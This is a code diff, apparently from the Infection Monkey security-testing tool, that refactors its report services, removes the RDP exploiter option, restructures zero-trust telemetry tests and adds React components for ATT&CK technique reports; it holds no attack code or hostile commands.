def get_report_data():

View File

@ -1,4 +1,4 @@
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"

View File

@ -1,7 +1,7 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.encryptor import encryptor
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
__author__ = "VakarisZ"
@ -32,7 +32,7 @@ class T1110(AttackTechnique):
result['successful_creds'] = []
for attempt in result['attempts']:
succeeded = True
result['successful_creds'].append(T1110.parse_creds(attempt))
result['successful_creds'].append(parse_creds(attempt))
if succeeded:
status = ScanStatus.USED.value
@ -47,47 +47,4 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data
@staticmethod
def parse_creds(attempt):
"""
Parses used credentials into a string
:param attempt: login attempt from database
:return: string with username and used password/hash
"""
username = attempt['user']
creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])},
'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)},
'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}}
for key, cred in creds.items():
if attempt[key]:
return '%s ; %s : %s' % (username,
cred['type'],
cred['output'])
@staticmethod
def censor_password(password, plain_chars=3, secret_chars=5):
"""
Decrypts and obfuscates password by changing characters to *
:param password: Password or string to obfuscate
:param plain_chars: How many plain-text characters should be kept at the start of the string
:param secret_chars: How many * symbols should be used to hide the remainder of the password
:return: Obfuscated string e.g. Pass****
"""
if not password:
return ""
password = encryptor.dec(password)
return password[0:plain_chars] + '*' * secret_chars
@staticmethod
def censor_hash(hash_, plain_chars=5):
"""
Decrypts and obfuscates hash by only showing a part of it
:param hash_: Hash to obfuscate
:param plain_chars: How many chars of hash should be shown
:return: Obfuscated string
"""
if not hash_:
return ""
hash_ = encryptor.dec(hash_)
return hash_[0: plain_chars] + ' ...'

View File

@ -1,5 +1,4 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import UsageTechnique
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
__author__ = "VakarisZ"

View File

@ -12,7 +12,7 @@ class T1145(AttackTechnique):
used_msg = "Monkey found ssh keys on machines in the network."
# Gets data about ssh keys found
query = [{'$match': {'telem_category': 'system_info_collection',
query = [{'$match': {'telem_category': 'system_info',
'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}},
{'$project': {'_id': 0,
'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},

View File

@ -2,7 +2,7 @@ import abc
import logging
from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus, UsageEnum
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
@ -115,47 +115,3 @@ class AttackTechnique(object):
data = cls.get_message_and_status(status)
data.update({'title': cls.technique_title()})
return data
class UsageTechnique(AttackTechnique):
__metaclass__ = abc.ABCMeta
@staticmethod
def parse_usages(usage):
"""
Parses data from database and translates usage enums into strings
:param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
:return: usage string
"""
try:
usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
except KeyError:
logger.error("Error translating usage enum. into string. "
"Check if usage enum field exists and covers all telem. statuses.")
return usage
@classmethod
def get_usage_data(cls):
data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
return list(map(cls.parse_usages, data))
@classmethod
def get_usage_query(cls):
"""
:return: Query that parses attack telems for simple report component
(gets machines and attack technique usage).
"""
return [{'$match': {'telem_category': 'attack',
'data.technique': cls.tech_id}},
{'$lookup': {'from': 'monkey',
'localField': 'monkey_guid',
'foreignField': 'guid',
'as': 'monkey'}},
{'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
'status': '$data.status',
'usage': '$data.usage'}},
{'$addFields': {'_id': 0,
'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
'monkey': 0}},
{'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]

View File

@ -0,0 +1,46 @@
from monkey_island.cc.encryptor import encryptor
def parse_creds(attempt):
"""
Parses used credentials into a string
:param attempt: login attempt from database
:return: string with username and used password/hash
"""
username = attempt['user']
creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])},
'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)},
'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}}
for key, cred in creds.items():
if attempt[key]:
return '%s ; %s : %s' % (username,
cred['type'],
cred['output'])
def censor_password(password, plain_chars=3, secret_chars=5):
"""
Decrypts and obfuscates password by changing characters to *
:param password: Password or string to obfuscate
:param plain_chars: How many plain-text characters should be kept at the start of the string
:param secret_chars: How many * symbols should be used to hide the remainder of the password
:return: Obfuscated string e.g. Pass****
"""
if not password:
return ""
password = encryptor.dec(password)
return password[0:plain_chars] + '*' * secret_chars
def censor_hash(hash_, plain_chars=5):
"""
Decrypts and obfuscates hash by only showing a part of it
:param hash_: Hash to obfuscate
:param plain_chars: How many chars of hash should be shown
:return: Obfuscated string
"""
if not hash_:
return ""
hash_ = encryptor.dec(hash_)
return hash_[0: plain_chars] + ' ...'

View File

@ -0,0 +1,53 @@
import abc
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger
from common.utils.attack_utils import UsageEnum
class UsageTechnique(AttackTechnique):
__metaclass__ = abc.ABCMeta
@staticmethod
def parse_usages(usage):
"""
Parses data from database and translates usage enums into strings
:param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
:return: usage string
"""
try:
usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
except KeyError:
logger.error("Error translating usage enum. into string. "
"Check if usage enum field exists and covers all telem. statuses.")
return usage
@classmethod
def get_usage_data(cls):
"""
Gets data of usage attack telemetries
:return: parsed list of usages from attack telemetries of usage type
"""
data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
return list(map(cls.parse_usages, data))
@classmethod
def get_usage_query(cls):
"""
:return: Query that parses attack telemetries for a simple report component
(gets machines and attack technique usage).
"""
return [{'$match': {'telem_category': 'attack',
'data.technique': cls.tech_id}},
{'$lookup': {'from': 'monkey',
'localField': 'monkey_guid',
'foreignField': 'guid',
'as': 'monkey'}},
{'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
'status': '$data.status',
'usage': '$data.usage'}},
{'$addFields': {'_id': 0,
'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
'monkey': 0}},
{'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]

View File

@ -32,14 +32,6 @@ SCHEMA = {
"title": "MSSQL Exploiter",
"attack_techniques": ["T1110"]
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)",
"attack_techniques": []
},
{
"type": "string",
"enum": [
@ -799,19 +791,6 @@ SCHEMA = {
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",

View File

@ -36,7 +36,6 @@ class ReportService:
'SmbExploiter': 'SMB Exploiter',
'WmiExploiter': 'WMI Exploiter',
'SSHExploiter': 'SSH Exploiter',
'RdpExploiter': 'RDP Exploiter',
'SambaCryExploiter': 'SambaCry Exploiter',
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
@ -289,12 +288,6 @@ class ReportService:
processed_exploit['type'] = 'ssh'
return processed_exploit
@staticmethod
def process_rdp_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'rdp'
return processed_exploit
@staticmethod
def process_vsftpd_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
@ -359,7 +352,6 @@ class ReportService:
'SmbExploiter': ReportService.process_smb_exploit,
'WmiExploiter': ReportService.process_wmi_exploit,
'SSHExploiter': ReportService.process_ssh_exploit,
'RdpExploiter': ReportService.process_rdp_exploit,
'SambaCryExploiter': ReportService.process_sambacry_exploit,
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,

View File

@ -4,6 +4,7 @@ import dateutil
from monkey_island.cc.database import mongo
from monkey_island.cc.encryptor import encryptor
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
@ -11,11 +12,17 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited impo
def process_exploit_telemetry(telemetry_json):
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
encrypt_exploit_creds(telemetry_json)
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
update_edge_info_with_new_exploit(edge, telemetry_json)
update_node_credentials_from_successful_attempts(edge, telemetry_json)
test_machine_exploited(telemetry_json)
test_machine_exploited(
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
exploit_successful=telemetry_json['data']['result'],
exploiter=telemetry_json['data']['exploiter'],
target_ip=telemetry_json['data']['machine']['ip_addr'],
timestamp=telemetry_json['timestamp'])
def update_node_credentials_from_successful_attempts(edge, telemetry_json):

View File

@ -1,6 +1,7 @@
import copy
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints
from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation
@ -9,7 +10,10 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import te
def process_scan_telemetry(telemetry_json):
update_edges_and_nodes_based_on_scan_telemetry(telemetry_json)
test_open_data_endpoints(telemetry_json)
test_segmentation_violation(telemetry_json)
current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
target_ip = telemetry_json['data']['machine']['ip_addr']
test_segmentation_violation(current_monkey, target_ip)
def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json):

View File

@ -1,3 +1,4 @@
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \
test_passed_findings_for_unreached_segments
@ -12,4 +13,5 @@ def process_state_telemetry(telemetry_json):
NodeService.set_monkey_dead(monkey, False)
if telemetry_json['data']['done']:
test_passed_findings_for_unreached_segments(telemetry_json)
current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
test_passed_findings_for_unreached_segments(current_monkey)

View File

@ -1,6 +1,6 @@
import json
from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \
from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \
STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
@ -24,7 +24,7 @@ def test_antivirus_existence(telemetry_json):
title="Found AV process",
message="The process '{}' was recognized as an Anti Virus process. Process "
"details: {}".format(process[1]['name'], json.dumps(process[1])),
event_type=EVENT_TYPE_ISLAND
event_type=EVENT_TYPE_MONKEY_LOCAL
))
if len(av_processes) > 0:

View File

@ -1,5 +1,6 @@
import json
from common.data.network_consts import ES_SERVICE
from common.data.zero_trust_consts import *
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
@ -29,7 +30,7 @@ def test_open_data_endpoints(telemetry_json):
events.append(Event.create_event(
title="Scan telemetry analysis",
message="Scanned service: {}.".format(service_name),
event_type=EVENT_TYPE_ISLAND
event_type=EVENT_TYPE_MONKEY_NETWORK
))
if service_name in HTTP_SERVERS_SERVICES_NAMES:
found_http_server_status = STATUS_FAILED
@ -40,9 +41,9 @@ def test_open_data_endpoints(telemetry_json):
telemetry_json["data"]["machine"]["ip_addr"],
json.dumps(service_data)
),
event_type=EVENT_TYPE_ISLAND
event_type=EVENT_TYPE_MONKEY_NETWORK
))
if service_name in 'elastic-search-9200':
if service_name == ES_SERVICE:
found_elastic_search_server = STATUS_FAILED
events.append(Event.create_event(
title="Scan telemetry analysis",
@ -51,7 +52,7 @@ def test_open_data_endpoints(telemetry_json):
telemetry_json["data"]["machine"]["ip_addr"],
json.dumps(service_data)
),
event_type=EVENT_TYPE_ISLAND
event_type=EVENT_TYPE_MONKEY_NETWORK
))
AggregateFinding.create_or_add_to_existing(

View File

@ -4,32 +4,29 @@ from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFindin
from monkey_island.cc.models.zero_trust.event import Event
def test_machine_exploited(telemetry_json):
current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp):
events = [
Event.create_event(
title="Exploit attempt",
message="Monkey on {} attempted to exploit {} using {}.".format(
current_monkey.hostname,
telemetry_json['data']['machine']['ip_addr'],
telemetry_json['data']['exploiter']),
target_ip,
exploiter),
event_type=EVENT_TYPE_MONKEY_NETWORK,
timestamp=telemetry_json['timestamp']
timestamp=timestamp
)
]
status = STATUS_PASSED
if telemetry_json['data']['result']:
if exploit_successful:
events.append(
Event.create_event(
title="Exploit success!",
message="Monkey on {} successfully exploited {} using {}.".format(
current_monkey.hostname,
telemetry_json['data']['machine']['ip_addr'],
telemetry_json['data']['exploiter']),
target_ip,
exploiter),
event_type=EVENT_TYPE_MONKEY_NETWORK,
timestamp=telemetry_json['timestamp'])
timestamp=timestamp)
)
status = STATUS_FAILED

View File

@ -1,8 +1,7 @@
import itertools
from six import text_type
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED, \
EVENT_TYPE_ISLAND
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED
from common.network.network_range import NetworkRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet
from monkey_island.cc.models import Monkey
@ -10,31 +9,16 @@ from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
"from `{src_seg}` segments to `{dst_seg}` segments."
SEGMENTATION_VIOLATION_EVENT_TEXT = \
"Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
"managed to communicate cross segment to {target_ip} (in segment {target_seg})."
def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
if source_subnet == target_subnet:
return False
source_subnet_range = NetworkRange.get_range_obj(source_subnet)
target_subnet_range = NetworkRange.get_range_obj(target_subnet)
if target_subnet_range.is_in_range(text_type(target_ip)):
cross_segment_ip = get_ip_in_src_and_not_in_dst(
current_monkey.ip_addresses,
source_subnet_range,
target_subnet_range)
return cross_segment_ip is not None
def test_segmentation_violation(scan_telemetry_json):
def test_segmentation_violation(current_monkey, target_ip):
# TODO - lower code duplication between this and report.py.
# TODO - single machine
current_monkey = Monkey.get_single_monkey_by_guid(scan_telemetry_json['monkey_guid'])
target_ip = scan_telemetry_json['data']['machine']['ip_addr']
subnet_groups = get_config_network_segments_as_subnet_groups()
for subnet_group in subnet_groups:
subnet_pairs = itertools.product(subnet_group, subnet_group)
@ -50,6 +34,30 @@ def test_segmentation_violation(scan_telemetry_json):
)
def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
# type: (Monkey, str, str, str) -> bool
"""
Checks is a specific communication is a segmentation violation.
:param current_monkey: The source monkey which originated the communication.
:param target_ip: The target with which the current monkey communicated with.
:param source_subnet: The segment the monkey belongs to.
:param target_subnet: Another segment which the monkey isn't supposed to communicate with.
:return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False.
"""
if source_subnet == target_subnet:
return False
source_subnet_range = NetworkRange.get_range_obj(source_subnet)
target_subnet_range = NetworkRange.get_range_obj(target_subnet)
if target_subnet_range.is_in_range(text_type(target_ip)):
cross_segment_ip = get_ip_in_src_and_not_in_dst(
current_monkey.ip_addresses,
source_subnet_range,
target_subnet_range)
return cross_segment_ip is not None
def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet):
return Event.create_event(
title="Segmentation event",
@ -64,9 +72,8 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t
)
def test_passed_findings_for_unreached_segments(state_telemetry_json):
def test_passed_findings_for_unreached_segments(current_monkey):
flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist]
current_monkey = Monkey.get_single_monkey_by_guid(state_telemetry_json['monkey_guid'])
create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey)
@ -88,13 +95,16 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey):
SegmentationFinding.create_or_add_to_existing_finding(
subnets=list(subnet_pair),
status=STATUS_PASSED,
segmentation_event=Event.create_event(
"Segmentation test done",
message="Monkey on {hostname} is done attempting cross-segment communications from `{src_seg}` "
"segments to `{dst_seg}` segments.".format(
hostname=current_monkey.hostname,
src_seg=subnet_pair[0],
dst_seg=subnet_pair[1]),
event_type=EVENT_TYPE_ISLAND
)
segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair)
)
def get_segmentation_done_event(current_monkey, subnet_pair):
return Event.create_event(
title="Segmentation test done",
message=SEGMENTATION_DONE_EVENT_TEXT.format(
hostname=current_monkey.hostname,
src_seg=subnet_pair[0],
dst_seg=subnet_pair[1]),
event_type=EVENT_TYPE_MONKEY_NETWORK
)

View File

@ -0,0 +1,44 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers"
class T1021 extends React.Component {
constructor(props) {
super(props);
}
static getServiceColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
]
}])};
static renderCreds(creds) {
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1021.getServiceColumns()}
data={this.props.data.services}
showPagination={false}
defaultPageSize={this.props.data.services.length}
/> : ""}
</div>
);
}
}
export default T1021;

View File

@ -0,0 +1,30 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers"
class T1064 extends React.Component {
constructor(props) {
super(props);
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.scripts.length !== 0 ?
<ReactTable
columns={getUsageColumns()}
data={this.props.data.scripts}
showPagination={false}
defaultPageSize={this.props.data.scripts.length}
/> : ""}
</div>
);
}
}
export default T1064;

View File

@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
onReadFile = (event) => {
setConfigOnImport = (event) => {
try {
this.setState({
configuration: JSON.parse(event.target.result),
lastAction: 'import_success'
}, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
this.currentSection = 'basic';
this.currentFormData = {};
} catch(SyntaxError) {
this.setState({lastAction: 'import_failure'});
@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent {
importConfig = (event) => {
let reader = new FileReader();
reader.onload = this.onReadFile;
reader.onload = this.setConfigOnImport;
reader.readAsText(event.target.files[0]);
event.target.value = null;
};
@ -494,7 +493,6 @@ class ConfigurePageComponent extends AuthComponent {
} else if(this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
return (
<Col xs={12} lg={10}>
{this.renderAttackAlertModal()}

View File

@ -633,22 +633,6 @@ class ReportPageComponent extends AuthComponent {
);
}
generateRdpIssue(issue) {
return (
<li>
Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password
that is not shared with other computers on the network.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">RDP</span> attack.
<br/>
The Monkey authenticated over the RDP protocol with user <span
className="label label-success">{issue.username}</span> and its password.
</CollapsibleWellComponent>
</li>
);
}
generateSambaCryIssue(issue) {
return (
@ -927,9 +911,6 @@ generateMSSQLIssue(issue) {
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
case 'rdp':
data = this.generateRdpIssue(issue);
break;
case 'sambacry':
data = this.generateSambaCryIssue(issue);
break;

View File

@ -1,16 +1,14 @@
import React, {Fragment} from 'react';
import {Col, Grid, Row} from 'react-bootstrap';
import {Col} from 'react-bootstrap';
import AuthComponent from '../AuthComponent';
import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader";
import PillarsOverview from "../report-components/zerotrust/PillarOverview";
import FindingsSection from "../report-components/zerotrust/FindingsSection";
import SinglePillarRecommendationsStatus from "../report-components/zerotrust/SinglePillarRecommendationsStatus";
import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning";
import ReportLoader from "../report-components/common/ReportLoader";
import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning";
import PrintReportButton from "../report-components/common/PrintReportButton";
import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus";
import ZeroTrustReportLegend from "../report-components/zerotrust/ReportLegend";
import SummarySection from "../report-components/zerotrust/SummarySection";
import FindingsSection from "../report-components/zerotrust/FindingsSection";
import RecommendationsSection from "../report-components/zerotrust/RecommendationsSection";
class ZeroTrustReportPageComponent extends AuthComponent {
@ -25,7 +23,7 @@ class ZeroTrustReportPageComponent extends AuthComponent {
componentDidMount() {
this.updatePageState();
const refreshInterval = setInterval(this.updatePageState, 8000)
const refreshInterval = setInterval(this.updatePageState, 8000);
this.setState(
{refreshDataIntervalHandler: refreshInterval}
)
@ -73,9 +71,10 @@ class ZeroTrustReportPageComponent extends AuthComponent {
content = <ReportLoader loading={true}/>;
} else {
content = <div id="MainContentSection">
{this.generateOverviewSection()}
{this.generateRecommendationsSection()}
{this.generateFindingsSection()}
<SummarySection allMonkeysAreDead={this.state.allMonkeysAreDead} pillars={this.state.pillars}/>
<RecommendationsSection recommendations={this.state.recommendations}
pillarsToStatuses={this.state.pillars.pillarsToStatuses}/>
<FindingsSection pillarsToStatuses={this.state.pillars.pillarsToStatuses} findings={this.state.findings}/>
</div>;
}
@ -100,75 +99,10 @@ class ZeroTrustReportPageComponent extends AuthComponent {
)
}
generateOverviewSection() {
return (<div id="overview-section">
<h2>Summary</h2>
<Grid fluid={true}>
<Row>
<Col xs={12} sm={12} md={12} lg={12}>
<MonkeysStillAliveWarning allMonkeysAreDead={this.state.allMonkeysAreDead}/>
<p>
Get a quick glance of the status for each of Zero Trust's seven pillars.
</p>
</Col>
</Row>
<Row className="show-grid">
<Col xs={8} sm={8} md={8} lg={8}>
<PillarsOverview pillarsToStatuses={this.state.pillars.pillarsToStatuses}
grades={this.state.pillars.grades}/>
</Col>
<Col xs={4} sm={4} md={4} lg={4}>
<ZeroTrustReportLegend/>
</Col>
</Row>
<Row>
<Col xs={12} sm={12} md={12} lg={12}>
<h4>What am I seeing?</h4>
<p>
The <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">Zero Trust eXtended framework</a> categorizes its <b>recommendations</b> into 7 <b>pillars</b>. Infection Monkey
Zero Trust edition tests some of those recommendations. The <b>tests</b> that the monkey executes
produce <b>findings</b>. The tests, recommendations and pillars are then granted a <b>status</b> in accordance
with the tests results.
</p>
</Col>
</Row>
</Grid>
</div>);
}
generateRecommendationsSection() {
return (<div id="recommendations-overview">
<h2>Recommendations</h2>
<p>
Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results
to understand how the monkey tested your adherence to that recommendation.
</p>
{
Object.keys(this.state.recommendations).map((pillar) =>
<SinglePillarRecommendationsStatus
key={pillar}
pillar={pillar}
recommendationsStatus={this.state.recommendations[pillar]}
pillarsToStatuses={this.state.pillars.pillarsToStatuses}/>
)
}
</div>);
}
generateFindingsSection() {
return (<div id="findings-overview">
<h2>Findings</h2>
<p>
Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things
happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper
insight as to what exactly happened during this test.
</p>
<FindingsSection pillarsToStatuses={this.state.pillars.pillarsToStatuses} findings={this.state.findings}/>
</div>);
}
stillLoadingDataFromServer() {
return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined";
return typeof this.state.findings === "undefined"
|| typeof this.state.pillars === "undefined"
|| typeof this.state.recommendations === "undefined";
}
getZeroTrustReportFromServer() {

View File

@ -6,6 +6,7 @@ import '../../../styles/Collapse.scss';
import AuthComponent from '../../AuthComponent';
import {ScanStatus} from "../../attack/techniques/Helpers";
import Collapse from '@kunukn/react-collapse';
import T1210 from '../../attack/techniques/T1210';
import T1197 from '../../attack/techniques/T1197';
import T1110 from '../../attack/techniques/T1110';
@ -28,6 +29,8 @@ import T1222 from "../../attack/techniques/T1222";
import T1005 from "../../attack/techniques/T1005";
import T1018 from "../../attack/techniques/T1018";
import T1016 from "../../attack/techniques/T1016";
import T1021 from "../../attack/techniques/T1021";
import T1064 from "../../attack/techniques/T1064";
import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus";
const tech_components = {
@ -52,7 +55,9 @@ const tech_components = {
'T1222': T1222,
'T1005': T1005,
'T1018': T1018,
'T1016': T1016
'T1016': T1016,
'T1021': T1021,
'T1064': T1064
};
const classNames = require('classnames');

View File

@ -2,8 +2,8 @@ import React, {Component} from "react";
import {Modal} from "react-bootstrap";
import EventsTimeline from "./EventsTimeline";
import * as PropTypes from "prop-types";
import FileSaver from "file-saver";
import ExportEventsButton from "./ExportEventsButton";
import saveJsonToFile from "../../utils/SaveJsonToFile";
export default class EventsModal extends Component {
constructor(props) {
@ -27,9 +27,9 @@ export default class EventsModal extends Component {
Close
</button>
<ExportEventsButton onClick={() => {
const content = JSON.stringify(this.props.events, null, 2);
const blob = new Blob([content], {type: "text/plain;charset=utf-8"});
FileSaver.saveAs(blob, this.props.exportFilename + ".json");
const dataToSave = this.props.events;
const filename = this.props.exportFilename;
saveJsonToFile(dataToSave, filename);
}}/>
</div>
</Modal.Body>

View File

@ -2,11 +2,12 @@ import React, {Component} from "react";
import {Timeline, TimelineEvent} from "react-event-timeline";
import * as PropTypes from "prop-types";
let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg');
let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg');
const eventTypeToIcon = {
"monkey_local": "fa fa-exclamation-circle fa-2x icon-warning",
"monkey_network": "fa fa-exclamation-circle fa-2x icon-warning",
"island": "fa fa-server fa-2x icon-info",
null: "fa fa-question-circle fa-2x icon-info",
"monkey_local": monkeyLocalIcon,
"monkey_network": monkeyNetworkIcon,
};
export default class EventsTimeline extends Component {
@ -21,7 +22,8 @@ export default class EventsTimeline extends Component {
key={index}
createdAt={event_time}
title={event.title}
icon={<i className={eventTypeToIcon[event.event_type]} />}>
icon={<img src={eventTypeToIcon[event.event_type]} alt="icon" style={{width: '24px'}} />}>
{event.message}
</TimelineEvent>)
})

View File

@ -1,18 +1,43 @@
import React, {Component, Fragment} from "react";
import PillarLabel from "./PillarLabel";
import EventsButton from "./EventsButton";
import {ZeroTrustStatuses} from "./ZeroTrustPillars";
import ZeroTrustPillars, {ZeroTrustStatuses} from "./ZeroTrustPillars";
import {FindingsTable} from "./FindingsTable";
class FindingsSection extends Component {
mapFindingsByStatus() {
const statusToFindings = {};
for (const key in ZeroTrustStatuses) {
statusToFindings[ZeroTrustStatuses[key]] = [];
}
this.props.findings.map((finding) => {
// Deep copy
const newFinding = JSON.parse(JSON.stringify(finding));
newFinding.pillars = newFinding.pillars.map((pillar) => {
return {name: pillar, status: this.props.pillarsToStatuses[pillar]}
});
statusToFindings[newFinding.status].push(newFinding);
});
return statusToFindings;
}
render() {
const findingsByStatus = this.mapFindingsByStatus();
return (
<Fragment>
<FindingsTable data={this.getFilteredFindings(ZeroTrustStatuses.failed)} status={ZeroTrustStatuses.failed}/>
<FindingsTable data={this.getFilteredFindings(ZeroTrustStatuses.inconclusive)} status={ZeroTrustStatuses.inconclusive}/>
<FindingsTable data={this.getFilteredFindings(ZeroTrustStatuses.passed)} status={ZeroTrustStatuses.passed}/>
